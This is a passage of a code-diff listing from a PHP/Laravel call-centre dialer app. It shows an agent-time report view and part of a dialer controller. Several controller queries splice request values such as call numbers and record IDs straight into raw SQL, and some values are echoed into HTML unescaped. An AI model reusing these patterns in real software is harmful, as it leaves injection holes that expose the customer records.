| 248 | echo "<option value='$hour' $selected>".str_pad($hour, 2, "0", STR_PAD_LEFT) . ":00</option>"; | ||
| 249 | } | ||
| 250 | ?></select> | ||
| 251 | To <input size=10 id='modto' name='modto' type='text' value='<?php echo date("Y-m-d",$logdateto); ?>' onchange='statusLogReloadFun("");' /> | ||
| 252 | <select id="modtimeto" style="border:1px solid #efefef;" onchange='statusLogReloadFun("");'> | ||
| 253 | <?php | ||
| 254 | foreach (range(0,23) as $hour) { | ||
| 255 | $selected = ($hour == $logtimeto) ? "selected" : ""; | ||
| 256 | echo "<option value='$hour' $selected>".str_pad($hour, 2, "0", STR_PAD_LEFT) . ":00</option>"; | ||
| 257 | } | ||
| 258 | ?></select> | ||
| 259 | Campaign | ||
| 260 | <select id="campaign" style="border:1px solid #efefef;" onchange='statusLogReloadFun("");'> | ||
| 261 | <?php foreach($oclientlst as $c){$s="";if($c==$campaign)$s='selected';echo "<option value='$c' $s>$c</option>";} ?> | ||
| 262 | </select> | ||
| 263 | </div> | ||
| 264 | <div style="clear:both"></div> | ||
| 265 | <hr style="margin:5px;"> | ||
| 266 | <div style="overflow: auto; margin-top: 10px;"> | ||
| 267 | <table id=logtable class='footable table table-striped table-bordered table-white table-primary footable-loaded' style='font-size:12px; margin:0; border:1px solid #BBB;'> | ||
| 268 | <thead><?php echo $outhead; ?></thead> | ||
| 269 | <?php echo $outstr; ?> | ||
| 270 | </table> | ||
| 271 | </div> | ||
| 272 | <div id=dialoglog></div> | ||
| 273 | </div> | ||
| 274 | <script> | ||
| 275 | $(document).ready(function() { | ||
| 276 | if(!$('#dialoglog').hasClass('ui-dialog-content')) | ||
| 277 | { | ||
| 278 | $('#dialoglog').dialog({ | ||
| 279 | autoOpen: false, | ||
| 280 | width: '70%', | ||
| 281 | buttons: { | ||
| 282 | "Ok": function() { | ||
| 283 | $(this).dialog("close"); | ||
| 284 | }, | ||
| 285 | "Cancel": function() { | ||
| 286 | $(this).dialog("close"); | ||
| 287 | } | ||
| 288 | } | ||
| 289 | }); | ||
| 290 | } | ||
| 291 | waitKeyUpRun("filter",function() { filter2(document.getElementById('filter'), 'logtable') },"2000"); | ||
| 292 | $('#modfrom').datepicker({dateFormat: 'yy-mm-dd',inline: true,changeYear: true,selectOtherMonths: true,yearRange: '<?php echo (date('Y')-70).":".(date('Y')+5); ?>'}); | ||
| 293 | $('#modto').datepicker({dateFormat: 'yy-mm-dd',inline: true,changeYear: true,selectOtherMonths: true,yearRange: '<?php echo (date('Y')-70).":".(date('Y')+5); ?>'}); | ||
| 294 | }); | ||
| 295 | function dataString() | ||
| 296 | { | ||
| 297 | return 'logdate='+$("#modfrom").val()+'&logtime='+$("#modtime").val()+'&logdateto='+$("#modto").val()+'&logtimeto='+$("#modtimeto").val()+'&campaign='+$("#campaign").val(); | ||
| 298 | } | ||
| 299 | function statusLogReloadFun(sortby) | ||
| 300 | { | ||
| 301 | var sortstr='';if(sortby!="")sortstr="&sort="+sortby | ||
| 302 | var searchStr = dataString(); | ||
| 303 | doAjax('dialer/agenttime?'+searchStr+sortstr,'','rightmainreportdiv','ajax_dialer_reports','singlethis','GET'); | ||
| 304 | } | ||
| 305 | function dlAgentlogXls() | ||
| 306 | { | ||
| 307 | var searchStr = dataString(); | ||
| 308 | window.open('dialer/agenttime?dllogxls=1&'+searchStr); | ||
| 309 | return false; | ||
| 310 | } | ||
| 311 | </script> | ||
| ... | \ No newline at end of file | ... | \ No newline at end of file |
| 1 | <?php | ||
| 2 | use App\Models\CRMCall; | ||
| 3 | use App\Models\CRMCallArchive; | ||
| 4 | use App\Models\User; | ||
| 5 | use App\Models\UserLog; | ||
| 6 | use App\Jobs\KHRMSLib; | ||
| 7 | $wakka = new KHRMSLib(); | ||
| 8 | $dashboarduser=Auth::user(); | ||
| 9 | $timeoffset = $dashboarduser->timezone; //-330; //$dashboarduser->timezone; | ||
| 10 | $timeoffset = $timeoffset*60; | ||
| 11 | $logtime =(isset($_GET['logtime'])) ? $_GET['logtime'] :9; | ||
| 12 | $logtimeto =(isset($_GET['logtimeto']))? $_GET['logtimeto']:20; | ||
| 13 | $logdate =(isset($_GET['logdate'])) ? strtotime($_GET['logdate']." ".$logtime.":00:00") | ||
| 14 | : strtotime(date("Y-m-d")." 00:00:00"); | ||
| 15 | $logdateto =(isset($_GET['logdateto']))? strtotime($_GET['logdateto']." ".$logtimeto.":00:00") | ||
| 16 | : strtotime(date("Y-m-d")." 20:00:00"); | ||
| 17 | $campaign =(isset($_GET['campaign'])) ? $_GET['campaign'] : "All"; | ||
| 18 | $alist=CRMCallArchive::where('user_id','!=',0)->where('created_at','>=',date("Y-m-d H:i:s",$logdate))->where('created_at','<=',date("Y-m-d H:i:s",$logdateto)); | ||
| 19 | $alist->orderBy('user_id', 'ASC')->orderBy('ts_Close', 'ASC'); | ||
| 20 | $userlog=UserLog::where('created_at','>=',date("Y-m-d H:i:s",$logdate))->where('created_at','<=',date("Y-m-d H:i:s",$logdateto)); | ||
| 21 | if($campaign != 'All') $alist->where('client','=',$campaign); | ||
| 22 | $userarr=array(); | ||
| 23 | $allusers = DB::table('users as u1')->leftjoin('users AS u2', 'u2.username', '=', 'u1.supervisor') | ||
| 24 | ->select('u1.id','u1.username','u1.fullname AS telecaller', 'u2.fullname AS sepervisor') | ||
| 25 | ->where('u1.status','=','Active'); | ||
| 26 | $roclientstr=array();$didlinesstr=array(); | ||
| 27 | if($dashboarduser->exten!="")$didlinesstr[]=$dashboarduser->exten; | ||
| 28 | $oclientlst=$wakka->clientsReadAccess(); sort($oclientlst); $oclientlst[0] = 'All'; | ||
| 29 | if(!empty($oclientlst))foreach($oclientlst as $tclnt)if($tclnt!="") | ||
| 30 | { | ||
| 31 | $roclientstr[]="$tclnt"; | ||
| 32 | |||
| 33 | $mastersdata=$wakka->getCompanyMaster($tclnt); | ||
| 34 | if(!empty($mastersdata["DialerDID"]))$didlinesstr[]=$mastersdata["DialerDID"]; | ||
| 35 | } | ||
| 36 | $breaks=array("Paused","AgentBriefing","TeamMeeting","QualityFeedback","LunchBreak","TeaBreak","UtilityBreak","FloorAnnouncements","DownTime"); | ||
| 37 | $reporthead=array_merge(array("#","Telecaller","TelecallerID","Supervisor","Signin","Signout","Count","Duration","Total","Wait","Call","Talk","Dispo"),$breaks); | ||
| 38 | $reportarray=array(); | ||
| 39 | $i=1; | ||
| 40 | if($dashboarduser->usertype != 'Admin') | ||
| 41 | { | ||
| 42 | $uidlist=array($dashboarduser->id); | ||
| 43 | $allusers=$allusers->where(function ($query) use($dashboarduser) { | ||
| 44 | $query->where('u1.supervisor','=',$dashboarduser->username) | ||
| 45 | ->orWhere('u1.lteam2','=',$dashboarduser->username) | ||
| 46 | ->orWhere('u1.lteam','=',$dashboarduser->username); | ||
| 47 | })->get(); | ||
| 48 | |||
| 49 | foreach($allusers as $tuser) | ||
| 50 | { | ||
| 51 | $uidlist[]=$tuser->id; | ||
| 52 | $reportarray[$aline->user_id]=array("#"=>$i++,"Telecaller"=>$tuser->telecaller,"TelecallerID"=>$tuser->username,"Supervisor"=>$tuser->sepervisor); | ||
| 53 | } | ||
| 54 | $alist=$alist->whereIn('user_id',$uidlist); | ||
| 55 | |||
| 56 | /*$alist=$alist->where(function ($query) use($roclientstr,$uidlist,$didlinesstr){ | ||
| 57 | $query->orWhereIn('client',$roclientstr) | ||
| 58 | ->orWhereIn('did',$didlinesstr); | ||
| 59 | });*/ | ||
| 60 | $userlog=$userlog->whereIn('user_id',$uidlist); | ||
| 61 | } | ||
| 62 | else { | ||
| 63 | $allusers=$allusers->get(); | ||
| 64 | foreach($allusers as $tuser) | ||
| 65 | { | ||
| 66 | $reportarray[$tuser->id]=array("#"=>$i++,"Telecaller"=>$tuser->telecaller,"TelecallerID"=>$tuser->username,"Supervisor"=>$tuser->sepervisor); | ||
| 67 | } | ||
| 68 | } | ||
| 69 | |||
| 70 | $alist=$alist->get(); | ||
| 71 | $userlog=$userlog->where('startdate','!=','0000-00-00')->get(); | ||
| 72 | $prev_close = 0; | ||
| 73 | foreach($alist as $aline) | ||
| 74 | { | ||
| 75 | if($prev_user != $aline->user_id || $prev_close <= $aline->ts_Wait) | ||
| 76 | { | ||
| 77 | $userid=$aline->user_id; | ||
| 78 | |||
| 79 | $talktime=$aline->talkSec+$aline->recstartSec+$aline->recendSec; | ||
| 80 | $totaltime=$aline->callSec+$talktime+$aline->dispoSec; | ||
| 81 | |||
| 82 | $reportarray[$userid]["oncall"]+=$totaltime/1000; | ||
| 83 | //$reportarray[$userid]["Wait"]+=$aline->waitSec/1000; | ||
| 84 | $reportarray[$userid]["Call"]+=$aline->callSec/1000; | ||
| 85 | $reportarray[$userid]["Talk"]+=$talktime/1000; | ||
| 86 | $reportarray[$userid]["Dispo"]+=$aline->dispoSec/1000; | ||
| 87 | } | ||
| 88 | $reportarray[$userid]["Count"]++; | ||
| 89 | $prev_close = $aline->ts_Close;//-ts_Wait | ||
| 90 | $prev_user = $aline->user_id;//-ts_Wait | ||
| 91 | } | ||
| 92 | $userLogin=array(); | ||
| 93 | foreach($userlog as $ulog) | ||
| 94 | { | ||
| 95 | if($ulog->durationsec != 0) { | ||
| 96 | $userLogin[$ulog->user_id]['duration'] += $ulog->durationsec; | ||
| 97 | $userLogin[$ulog->user_id]['start'][] = strtotime($ulog->startdate . ' ' . $ulog->starttime); | ||
| 98 | $userLogin[$ulog->user_id]['end'][] = strtotime($ulog->enddate . ' ' . $ulog->endtime); | ||
| 99 | } | ||
| 100 | else { | ||
| 101 | if(preg_match_all('/(\d+(\.\d+)?)/', $ulog->data, $numbers)) { | ||
| 102 | $starttime = strtotime($ulog->startdate.' '.$ulog->starttime); | ||
| 103 | $endtime = round(end($numbers[0])/1000); | ||
| 104 | $userLogin[$ulog->user_id]['duration'] += ($endtime-$starttime); | ||
| 105 | $userLogin[$ulog->user_id]['start'][] = $starttime; | ||
| 106 | $userLogin[$ulog->user_id]['end'][] = $endtime; | ||
| 107 | } | ||
| 108 | } | ||
| 109 | $data=json_decode($ulog->data,true); | ||
| 110 | $prets=strtotime($ulog->startdate." ".$ulog->starttime)*1000; | ||
| 111 | $previous="Paused-Paused"; | ||
| 112 | $reportarray[$ulog->user_id]['Paused']=''; | ||
| 113 | foreach($data as $sdata) | ||
| 114 | { | ||
| 115 | $pts=$sdata['ts']; | ||
| 116 | if(isset($sdata['states'])) | ||
| 117 | { | ||
| 118 | foreach($sdata['states'] as $ts=>$states) | ||
| 119 | { | ||
| 120 | $previous = str_replace('Paused-', '', $previous); | ||
| 121 | if(!in_array($previous,$reporthead)) $previous = 'Paused'; | ||
| 122 | |||
| 123 | $reportarray[$ulog->user_id][$previous]+=round($ts-$prets,2)/1000; | ||
| 124 | $prets=$ts; | ||
| 125 | $previous=$states[0].'-'.$states[1]; | ||
| 126 | } | ||
| 127 | $previous = str_replace('Paused-', '', $previous); | ||
| 128 | $reportarray[$ulog->user_id][$previous]+=round($pts-$prets,2)/1000; | ||
| 129 | } | ||
| 130 | } | ||
| 131 | } | ||
| 132 | if(count($userLogin)) foreach ($userLogin as $userid => $value) | ||
| 133 | { | ||
| 134 | $break_time=0; | ||
| 135 | foreach ($breaks as $break) { | ||
| 136 | $break_time+=$reportarray[$userid][$break]; | ||
| 137 | } | ||
| 138 | $reportarray[$userid]["Signin"]=date("Y-m-d H:i:s", min($value['start'])-$timeoffset); | ||
| 139 | $reportarray[$userid]["Signout"]=date("Y-m-d H:i:s", max($value['end'])-$timeoffset); | ||
| 140 | $reportarray[$userid]["Duration"]=$value['duration']; | ||
| 141 | $reportarray[$userid]["Total"]=$value['duration']-$break_time; | ||
| 142 | $reportarray[$userid]["Wait"]=$reportarray[$userid]["Total"]-$reportarray[$userid]['oncall']; | ||
| 143 | } | ||
| 144 | $highestColumn = sizeof($reporthead); | ||
| 145 | if(count($reportarray)) { | ||
| 146 | $outhead="<tr>";$outstr=""; | ||
| 147 | for ($head = 0; $head < $highestColumn; $head++){ | ||
| 148 | if($reporthead[$head] == '#') { | ||
| 149 | $mode_str = "<a onclick='displayMode(".'"summation"'.");return false;' href='#'><i class='fa fa-plus-square-o'></i></a> / <a onclick='displayMode(".'"percent"'.");return false;' href='#'>%</a>"; | ||
| 150 | $outhead.="<td>".$mode_str."</td>"; | ||
| 151 | } | ||
| 152 | else { | ||
| 153 | $outhead.="<td>".$reporthead[$head]."</td>"; | ||
| 154 | } | ||
| 155 | } | ||
| 156 | $outhead.="</tr>"; | ||
| 157 | $utotalarr = array("Telecaller"=>'Total'); | ||
| 158 | foreach($reportarray as $uid=>$uarr) | ||
| 159 | {//echo "<pre>";print_r($uarr); | ||
| 160 | if(array_key_exists('Signin',$uarr)) | ||
| 161 | { | ||
| 162 | $outstr.="<tr>"; | ||
| 163 | for ($head = 0; $head < $highestColumn; $head++){ | ||
| 164 | if($head < 6) { | ||
| 165 | $data_str = $uarr[$reporthead[$head]]; | ||
| 166 | } | ||
| 167 | elseif($head < 7) { | ||
| 168 | $data_str = $uarr[$reporthead[$head]]; | ||
| 169 | $utotalarr[$reporthead[$head]] += $uarr[$reporthead[$head]]; | ||
| 170 | } | ||
| 171 | else { | ||
| 172 | $data_str = secToDuration(round($uarr[$reporthead[$head]])); | ||
| 173 | $utotalarr[$reporthead[$head]] += $uarr[$reporthead[$head]]; | ||
| 174 | } | ||
| 175 | $outstr.="<td>".$data_str."</td>"; | ||
| 176 | } | ||
| 177 | $outstr.="</tr>"; | ||
| 178 | } | ||
| 179 | } | ||
| 180 | $outstr.="<tr>"; | ||
| 181 | for ($head = 0; $head < $highestColumn; $head++) | ||
| 182 | { | ||
| 183 | if($head < 7) { | ||
| 184 | $data_str = $utotalarr[$reporthead[$head]]; | ||
| 185 | } | ||
| 186 | else { | ||
| 187 | $data_str = secToDuration($utotalarr[$reporthead[$head]]); | ||
| 188 | } | ||
| 189 | $outstr.="<td>".$data_str."</td>"; | ||
| 190 | } | ||
| 191 | $outstr.="</tr>"; | ||
| 192 | } | ||
| 193 | else { | ||
| 194 | $outhead.="<tr><td>No Records Found.</td></tr>"; | ||
| 195 | } | ||
| 196 | if(Input::has("dllogxls")) | ||
| 197 | { | ||
| 198 | include_once(app_path().'/lib/phpexcel/PHPExcel.php'); | ||
| 199 | |||
| 200 | $inputFileType = "Excel5"; | ||
| 201 | $objReader = PHPExcel_IOFactory::createReader($inputFileType); | ||
| 202 | $objPHPExcel = $objReader->load("assets/extras/blank.xls"); | ||
| 203 | $baseRow = 2; | ||
| 204 | $highestColumn = sizeof($reporthead); | ||
| 205 | for ($head = 0; $head < $highestColumn; $head++){ | ||
| 206 | $colstr=PHPExcel_Cell::stringFromColumnIndex($head); | ||
| 207 | $objPHPExcel->getActiveSheet()->setCellValue($colstr."1", $reporthead[$head]); | ||
| 208 | } | ||
| 209 | foreach($reportarray as $uid=>$uarr) | ||
| 210 | { | ||
| 211 | $row = $baseRow++; | ||
| 212 | $col = 0; | ||
| 213 | |||
| 214 | for ($head = 0; $head < $highestColumn; $head++){ | ||
| 215 | $excelval = ($head < 7) ? $uarr[$reporthead[$head]] : secToDuration(round($uarr[$reporthead[$head]])); | ||
| 216 | $colstr=PHPExcel_Cell::stringFromColumnIndex($head); | ||
| 217 | $objPHPExcel->getActiveSheet()->setCellValue($colstr.$row, $excelval); | ||
| 218 | } | ||
| 219 | } | ||
| 220 | $row++; | ||
| 221 | for ($head = 0; $head < $highestColumn; $head++){ | ||
| 222 | $excelval = ($head < 7) ? $utotalarr[$reporthead[$head]] : secToDuration(round($utotalarr[$reporthead[$head]])); | ||
| 223 | $colstr=PHPExcel_Cell::stringFromColumnIndex($head); | ||
| 224 | $objPHPExcel->getActiveSheet()->setCellValue($colstr.$row, $excelval); | ||
| 225 | } | ||
| 226 | header('Content-Type: application/vnd.ms-excel'); | ||
| 227 | header('Content-Disposition: attachment;filename="AgentTime.xls"'); | ||
| 228 | header('Cache-Control: max-age=0'); | ||
| 229 | $objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, $inputFileType); | ||
| 230 | $objWriter->save('php://output'); | ||
| 231 | |||
| 232 | return ; | ||
| 233 | } | ||
| 234 | function secToDuration($sec) { | ||
| 235 | return sprintf("%02d%s%02d%s%02d", floor($sec/3600), ':', ($sec/60)%60, ':', $sec%60); | ||
| 236 | } | ||
| 237 | ?> | ||
| 238 | <style>#logtable.td{vertical-align:top;}#logtable.tr{height:28px;overflow-y:hidden;}</style> | ||
| 239 | <div class=innerAll> | ||
| 240 | <h4 style="float:left;width:50%;margin:10px 0;">Agent Time Report</h4> | ||
| 241 | <div style="float:right;width:50%"> | ||
| 242 | <button class="pull-right btn btn-sm btn-default" onclick='dlAgentlogXls();return false;' title='Download'><i class='fa fa-download'></i> Download</button> | ||
| 243 | </div> | ||
| 244 | <div style="clear:both"></div> | ||
| 245 | <hr style="margin-bottom: 5px;"> | ||
| 246 | <div> | ||
| 247 | Search <input id=filter name="filter" type="text" style="border:1px solid #efefef; padding: 2px 10px;"> | ||
| 248 | Date: From <input size=10 id='modfrom' name='modfrom' type='text' value='<?php echo date("Y-m-d",$logdate); ?>' onchange='statusLogReloadFun("");' /> | ||
| 249 | <select id="modtime" style="border:1px solid #efefef;" onchange='statusLogReloadFun("");'> | ||
| 250 | <?php | ||
| 251 | foreach (range(0,23) as $hour) { | ||
| 252 | $selected = ($hour == $logtime) ? "selected" : ""; | ||
| 253 | echo "<option value='$hour' $selected>".str_pad($hour, 2, "0", STR_PAD_LEFT) . ":00</option>"; | ||
| 254 | } | ||
| 255 | ?></select> | ||
| 256 | To <input size=10 id='modto' name='modto' type='text' value='<?php echo date("Y-m-d",$logdateto); ?>' onchange='statusLogReloadFun("");' /> | ||
| 257 | <select id="modtimeto" style="border:1px solid #efefef;" onchange='statusLogReloadFun("");'> | ||
| 258 | <?php | ||
| 259 | foreach (range(0,23) as $hour) { | ||
| 260 | $selected = ($hour == $logtimeto) ? "selected" : ""; | ||
| 261 | echo "<option value='$hour' $selected>".str_pad($hour, 2, "0", STR_PAD_LEFT) . ":00</option>"; | ||
| 262 | } | ||
| 263 | ?></select> | ||
| 264 | Campaign | ||
| 265 | <select id="campaign" style="border:1px solid #efefef;" onchange='statusLogReloadFun("");'> | ||
| 266 | <?php foreach($oclientlst as $c){$s="";if($c==$campaign)$s='selected';echo "<option value='$c' $s>$c</option>";} ?> | ||
| 267 | </select> | ||
| 268 | </div> | ||
| 269 | <div style="clear:both"></div> | ||
| 270 | <hr style="margin:5px;"> | ||
| 271 | <div style="overflow: auto; margin-top: 10px;"> | ||
| 272 | <table id=logtable class='footable table table-striped table-bordered table-white table-primary footable-loaded' style='font-size:12px; margin:0; border:1px solid #BBB;'> | ||
| 273 | <thead><?php echo $outhead; ?></thead> | ||
| 274 | <?php echo $outstr; ?> | ||
| 275 | </table> | ||
| 276 | </div> | ||
| 277 | <div id=dialoglog></div> | ||
| 278 | </div> | ||
| 279 | <script> | ||
| 280 | $(document).ready(function() { | ||
| 281 | if(!$('#dialoglog').hasClass('ui-dialog-content')) | ||
| 282 | { | ||
| 283 | $('#dialoglog').dialog({ | ||
| 284 | autoOpen: false, | ||
| 285 | width: '70%', | ||
| 286 | buttons: { | ||
| 287 | "Ok": function() { | ||
| 288 | $(this).dialog("close"); | ||
| 289 | }, | ||
| 290 | "Cancel": function() { | ||
| 291 | $(this).dialog("close"); | ||
| 292 | } | ||
| 293 | } | ||
| 294 | }); | ||
| 295 | } | ||
| 296 | waitKeyUpRun("filter",function() { filter2(document.getElementById('filter'), 'logtable') },"2000"); | ||
| 297 | $('#modfrom').datepicker({dateFormat: 'yy-mm-dd',inline: true,changeYear: true,selectOtherMonths: true,yearRange: '<?php echo (date('Y')-70).":".(date('Y')+5); ?>'}); | ||
| 298 | $('#modto').datepicker({dateFormat: 'yy-mm-dd',inline: true,changeYear: true,selectOtherMonths: true,yearRange: '<?php echo (date('Y')-70).":".(date('Y')+5); ?>'}); | ||
| 299 | }); | ||
| 300 | function dataString() | ||
| 301 | { | ||
| 302 | return 'logdate='+$("#modfrom").val()+'&logtime='+$("#modtime").val()+'&logdateto='+$("#modto").val()+'&logtimeto='+$("#modtimeto").val()+'&campaign='+$("#campaign").val(); | ||
| 303 | } | ||
| 304 | function statusLogReloadFun(sortby) | ||
| 305 | { | ||
| 306 | var sortstr='';if(sortby!="")sortstr="&sort="+sortby | ||
| 307 | var searchStr = dataString(); | ||
| 308 | doAjax('dialer/agenttime?'+searchStr+sortstr,'','rightmainreportdiv','ajax_dialer_reports','singlethis','GET'); | ||
| 309 | } | ||
| 310 | function dlAgentlogXls() | ||
| 311 | { | ||
| 312 | var searchStr = dataString(); | ||
| 313 | window.open('dialer/agenttime?dllogxls=1&'+searchStr); | ||
| 314 | return false; | ||
| 315 | } | ||
| 316 | </script> |
application/resources/views/layout/module/dialer/;
100755 → 100644
File mode changed
| 1 | <?php namespace App\Http\Controllers; | ||
| 2 | |||
| 3 | use Auth; | ||
| 4 | use Input; | ||
| 5 | use Response; | ||
| 6 | use Config; | ||
| 7 | use App\Models\Group; | ||
| 8 | use App\Models\Master; | ||
| 9 | use App\Models\Record; | ||
| 10 | use App\Models\CRMCall; | ||
| 11 | use App\Models\CRMCallArchive; | ||
| 12 | use App\Models\CRM; | ||
| 13 | use App\Models\CRMCampaign; | ||
| 14 | use App\Models\CRMList; | ||
| 15 | use App\Jobs\KHRMSLib; | ||
| 16 | use App\Models\Sipid; | ||
| 17 | use App\Models\Dialline; | ||
| 18 | use App\Models\UserLog; | ||
| 19 | use App\Models\Kqueue; | ||
| 20 | use DB; | ||
| 21 | use Log; | ||
| 22 | use Session; | ||
| 23 | $client=''; | ||
| 24 | |||
| 25 | class DialerController extends Controller { | ||
| 26 | |||
| 27 | public function __construct() | ||
| 28 | { | ||
| 29 | $this->middleware('auth'); | ||
| 30 | $this->middleware('module_access'); | ||
| 31 | |||
| 32 | } | ||
| 33 | |||
| 34 | public function index() | ||
| 35 | { | ||
| 36 | |||
| 37 | } | ||
| 38 | public function create() | ||
| 39 | { | ||
| 40 | |||
| 41 | } | ||
| 42 | public function store() | ||
| 43 | { | ||
| 44 | $action=Input::get('action'); | ||
| 45 | $client=Input::get('client'); | ||
| 46 | |||
| 47 | $kstychCall=json_decode(html_entity_decode(Input::get("kstychCall"),ENT_QUOTES, "UTF-8"),true); | ||
| 48 | $kstychDialer=json_decode(html_entity_decode(Input::get("kstychDialer"),ENT_QUOTES, "UTF-8"),true); | ||
| 49 | |||
| 50 | if($action=="previewnext") | ||
| 51 | { | ||
| 52 | $wakka = new KHRMSLib(); | ||
| 53 | |||
| 54 | $roclientstr=array(); | ||
| 55 | $oclientlst=$wakka->clientsReadAccess(); | ||
| 56 | if(!empty($oclientlst))foreach($oclientlst as $tclnt)if($tclnt!=""){$roclientstr[]="'$tclnt'";} | ||
| 57 | |||
| 58 | if(!empty($roclientstr))$roclientstr="and client in (".implode(",",$roclientstr).")";else $roclientstr=""; | ||
| 59 | |||
| 60 | $users=array();$searchresult=""; | ||
| 61 | if(!empty($kstychCall["previewcrmid"]))$users=$wakka->getPersons("id='".$kstychCall["previewcrmid"]."' $roclientstr limit 1"); | ||
| 62 | else $users=$this->getCallSequencing(1); | ||
| 63 | |||
| 64 | if(!empty($users)) | ||
| 65 | { | ||
| 66 | $searchresult.="<div id=divworking></div><div style='clear:both'></div><script>kSetDData('C','previewcrmid','".$users[0]['id']."');showRecruit(\"".$users[0]['id']."\");</script>"; | ||
| 67 | |||
| 68 | $searchresult.="<div id=internalid_matchlist></div><script> | ||
| 69 | doAjax('record?action=quicksearch','maintextsearch_1_txt=".$users[0]['clientinternalid']."&maintextsearch_1_span=InternalID','internalid_matchlist','searchMutex', 'searchxhr','POST',function(retstr){ | ||
| 70 | if(retstr.responseText.indexOf('No Records Found!')>-1)$('#internalid_matchlist').html(''); | ||
| 71 | }); | ||
| 72 | </script>"; | ||
| 73 | } | ||
| 74 | else | ||
| 75 | { | ||
| 76 | $searchresult.="<div id=internalid_matchlist></div><script>createSearchRecordDiv('internalid_matchlist');</script>"; | ||
| 77 | } | ||
| 78 | |||
| 79 | |||
| 80 | return Response::make($searchresult); | ||
| 81 | } | ||
| 82 | |||
| 83 | if($action=="newcall") | ||
| 84 | { | ||
| 85 | $wakka = new KHRMSLib(); | ||
| 86 | |||
| 87 | $roclientstr=array(); | ||
| 88 | $oclientlst=$wakka->clientsReadAccess(); | ||
| 89 | foreach($oclientlst as $tclnt)if($tclnt!=""){$roclientstr[]="'$tclnt'";} | ||
| 90 | if(!empty($roclientstr))$roclientstr="and client in (".implode(",",$roclientstr).")";else $roclientstr=""; | ||
| 91 | |||
| 92 | $users=array();$callnumber=$kstychCall['callnumber']; | ||
| 93 | //code by prashant Jadhav for manual calls on alternate number and same mobile number assign to different records then it shows another customer info while dialing-------- | ||
| 94 | if($kstychCall['crmid']) | ||
| 95 | { | ||
| 96 | $crmid=$kstychCall['previewcrmid']; | ||
| 97 | } | ||
| 98 | else | ||
| 99 | { | ||
| 100 | $crmid=$kstychCall['previewcrmid']; | ||
| 101 | |||
| 102 | } | ||
| 103 | if($kstychDialer['mDialerState']=="Manual") | ||
| 104 | { | ||
| 105 | |||
| 106 | if($crmid!="") | ||
| 107 | { | ||
| 108 | $tusers=$wakka->getPersonIDs("(mobile like '%".substr($callnumber,-10)."' OR | ||
| 109 | altphone1 like '%".substr($callnumber,-10)."' OR | ||
| 110 | altphone2 like '%".substr($callnumber,-10)."' OR | ||
| 111 | altphone3 like '%".substr($callnumber,-10)."' OR | ||
| 112 | altphone4 like '%".substr($callnumber,-10)."' OR | ||
| 113 | altphone5 like '%".substr($callnumber,-10)."' OR | ||
| 114 | altphone6 like '%".substr($callnumber,-10)."' OR | ||
| 115 | altphone7 like '%".substr($callnumber,-10)."' OR | ||
| 116 | altphone8 like '%".substr($callnumber,-10)."' OR | ||
| 117 | altphone9 like '%".substr($callnumber,-10)."' OR | ||
| 118 | altphone10 like '%".substr($callnumber,-10)."') and id=$crmid "); | ||
| 119 | /*$tusers=$wakka->getPersonIDs("(mobile like '%".substr($callnumber,-10)."' OR | ||
| 120 | altphone1 like '%$callnumber' OR | ||
| 121 | altphone2 like '%$callnumber' OR | ||
| 122 | altphone3 like '%$callnumber' OR | ||
| 123 | altphone4 like '%$callnumber' OR | ||
| 124 | altphone5 like '%$callnumber' OR | ||
| 125 | altphone6 like '%$callnumber' OR | ||
| 126 | altphone7 like '%$callnumber' OR | ||
| 127 | altphone8 like '%$callnumber' OR | ||
| 128 | altphone9 like '%$callnumber' OR | ||
| 129 | altphone10 like '%$callnumber') and id=$crmid ");*/ | ||
| 130 | |||
| 131 | } | ||
| 132 | else | ||
| 133 | { | ||
| 134 | $tusers=$wakka->getPersonIDs("mobile like '%".substr($callnumber,-10)."' OR | ||
| 135 | altphone1 like '%".substr($callnumber,-10)."' OR | ||
| 136 | altphone2 like '%".substr($callnumber,-10)."' OR | ||
| 137 | altphone3 like '%".substr($callnumber,-10)."' OR | ||
| 138 | altphone4 like '%".substr($callnumber,-10)."' OR | ||
| 139 | altphone5 like '%".substr($callnumber,-10)."' OR | ||
| 140 | altphone6 like '%".substr($callnumber,-10)."' OR | ||
| 141 | altphone7 like '%".substr($callnumber,-10)."' OR | ||
| 142 | altphone8 like '%".substr($callnumber,-10)."' OR | ||
| 143 | altphone9 like '%".substr($callnumber,-10)."' OR | ||
| 144 | altphone10 like '%".substr($callnumber,-10)."' "); | ||
| 145 | /*$tusers=$wakka->getPersonIDs("mobile like '%".substr($callnumber,-10)."' OR | ||
| 146 | altphone1 like '%$callnumber' OR | ||
| 147 | altphone2 like '%$callnumber' OR | ||
| 148 | altphone3 like '%$callnumber' OR | ||
| 149 | altphone4 like '%$callnumber' OR | ||
| 150 | altphone5 like '%$callnumber' OR | ||
| 151 | altphone6 like '%$callnumber' OR | ||
| 152 | altphone7 like '%$callnumber' OR | ||
| 153 | altphone8 like '%$callnumber' OR | ||
| 154 | altphone9 like '%$callnumber' OR | ||
| 155 | altphone10 like '%$callnumber' ");*/ | ||
| 156 | } | ||
| 157 | |||
| 158 | /*if($crmid!=""){ | ||
| 159 | $tusers=$wakka->getPersonIDs("mobile like '%".substr($callnumber,-10)."' and id=$crmid "); | ||
| 160 | }else{ | ||
| 161 | $tusers=$wakka->getPersonIDs("mobile like '%".substr($callnumber,-10)."'"); | ||
| 162 | }*/ | ||
| 163 | |||
| 164 | $uids=array();foreach($tusers as $tuser)if(isset($tuser['id']))$uids[]=$tuser['id']+0; | ||
| 165 | $idstr=implode(",",$uids);if($idstr=="")$idstr="''"; | ||
| 166 | |||
| 167 | //$users=$wakka->getPersons("mobile like '%$callnumber' and id in ($idstr) $roclientstr"); | ||
| 168 | |||
| 169 | $users=$wakka->getPersons("(mobile like '%$callnumber' OR | ||
| 170 | altphone1 like '%$callnumber' OR | ||
| 171 | altphone2 like '%$callnumber' OR | ||
| 172 | altphone3 like '%$callnumber' OR | ||
| 173 | altphone4 like '%$callnumber' OR | ||
| 174 | altphone5 like '%$callnumber' OR | ||
| 175 | altphone6 like '%$callnumber' OR | ||
| 176 | altphone7 like '%$callnumber' OR | ||
| 177 | altphone8 like '%$callnumber' OR | ||
| 178 | altphone9 like '%$callnumber' OR | ||
| 179 | altphone10 like '%$callnumber' ) and id in ($idstr) $roclientstr"); | ||
| 180 | //code end by prashant Jadhav for manual calls on alternate number | ||
| 181 | |||
| 182 | // if(!$users) | ||
| 183 | // { | ||
| 184 | // for($i=1;$i<=10;$i++) | ||
| 185 | // { | ||
| 186 | // $users=$wakka->getPersons("altphone$i = '$callnumber' $roclientstr"); | ||
| 187 | // if(!empty($users))break; | ||
| 188 | // } | ||
